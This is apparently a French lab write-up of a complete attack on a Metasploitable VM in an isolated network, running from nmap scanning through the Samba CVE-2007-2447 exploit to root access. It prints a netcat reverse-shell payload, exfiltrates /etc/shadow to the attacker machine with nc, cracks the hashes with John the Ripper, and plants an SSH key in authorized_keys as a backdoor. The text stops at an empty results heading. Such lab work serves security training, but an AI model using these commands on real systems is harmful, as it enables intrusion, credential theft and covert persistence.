Exploitation de vulnérabilités sur Metasploitable

Cycle complet d'une attaque réelle sur un environnement contrôlé et isolé : préparation du laboratoire, reconnaissance avec nmap, priorisation de la surface d'attaque, mapping vers CVE, exploitation avec Metasploit, post-exploitation, extraction et cracking de credentials, et persistance via injection de clé SSH.

1. Préparation de l'environnement

• Attaquant : Kali Linux — msfconsole, nmap, John the Ripper.
• Cible : Metasploitable 1 — Ubuntu 8.04 (2010), non patché, avec de multiples CVEs connues.
• Réseau : host-only, les deux VM isolées de tout réseau réel (192.168.64.0/24). IP victime : 192.168.64.3.

2. Reconnaissance avec Nmap

Scan de versions pour identifier exactement ce qui est exposé — les vulnérabilités affectent des versions spécifiques, pas des services en abstrait :

nmap -sV 192.168.64.3

Port	Service	Version
21/tcp	ftp	ProFTPD 1.3.1
22/tcp	ssh	OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp	telnet	Linux telnetd
80/tcp	http	Apache httpd 2.2.8
139,445/tcp	netbios-ssn	Samba smbd 3.X — cible principale
3306/tcp	mysql	MySQL 5.0.51a
8180/tcp	http	Apache Tomcat/Coyote JSP 1.1

12 ports ouverts, tous avec des versions obsolètes et exploitables.

3. Priorisation de la surface d'attaque

Au lieu d'attaquer le premier port ouvert, j'ai classé les services par type de risque avant de choisir la cible :

• Accès distant (22, 23) : Telnet expose les identifiants en texte clair ; OpenSSH 4.7p1 est une version très ancienne.
• Couche d'application web (80, 8180) : Apache 2.2.8 très loin derrière la version stable ; Tomcat avec des identifiants faibles et potentiel RCE.
• Bases de données exposées (3306) : MySQL 5.0.51a, version ancienne avec accès direct aux données.
• Fichiers partagés / réseau interne (139, 445) : Samba, historiquement l'un des services les plus exploités, avec CVE et exploit publics connus.

Cible sélectionnée : Samba 3.0.20-Debian — combine une version avec une vulnérabilité critique documentée, un exploit disponible dans Metasploit, et une exécution de code sans nécessité d'authentification préalable : le plus grand impact avec la plus grande fiabilité.

4. Cartographie de la vulnérabilité

Confirmation de la version exacte avec le moteur de script de Nmap (NSE) :

nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20 est vulnérable à CVE-2007-2447 : le paramètre username map script ne valide pas l'entrée, et un attaquant peut injecter des commandes shell directement dans le champ du nom d'utilisateur. Comme le mappage se produit avant la connexion, ni utilisateur ni mot de passe valides ne sont nécessaires.

5. Exploitation avec Metasploit

msfconsole

Recherche du module correspondant :

msf > search type:exploit samba

Configuration et exécution :

msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

Vérification immédiate des privilèges — la vulnérabilité donne un accès root direct, sans besoin d'escalade ultérieure :

whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (noyau de 2008)

6. Post-exploitation : comment cela s'est réellement produit

En inspectant les processus sur la victime, on peut voir le payload injecté lui-même en cours d'exécution :

ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

Le nom d'utilisateur envoyé contenait la commande elle-même (/=`...`) : Samba l'a passée sans assainissement à un shell, qui a créé un pipe avec mkfifo, ouvert une connexion de retour vers Kali avec netcat et connecté /bin/sh à ce pipe — l'exécution de code à distance complète, ligne par ligne.

Énumération des services internes avec netstat -tulnp : MySQL apparaissait en écoute sur 0.0.0.0:3306 — exposé à n'importe quelle machine du réseau, pas seulement au localhost.

7. Extraction et cracking de credentials

Au lieu d'essayer de cracker sur la victime elle-même (consomme du CPU, génère du bruit, laisse des traces), j'ai extrait les hashs et les ai transférés vers Kali pour les attaquer hors ligne :

cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Transfert via netcat et préparation pour John the Ripper :

# Sur Kali :
nc -lvnp 4444 > shadow.txt
# Sur la victime :
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John exécute trois phases automatiques (mode single avec les infos de l'utilisateur lui-même, dictionnaire, et force brute incrémentielle). Résultat : 6 mots de passe sur 7 crackés, y compris des identifiants réutilisables pour SSH, MySQL et FTP.

8. Mouvement latéral et persistance

Avec les identifiants crackés, accès SSH direct en tant qu'utilisateur légitime :

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Pour ne pas dépendre d'un mot de passe qui peut être changé, j'ai généré ma propre paire de clés et l'ai ajoutée au authorized_keys de la victime — une porte dérobée qui survit aux changements de mot de passe et ne génère pas d'alertes de force brute :

ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # exécuté sur la victime, déjà compromise

Accès ultérieur, sans mot de passe :

ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Résultats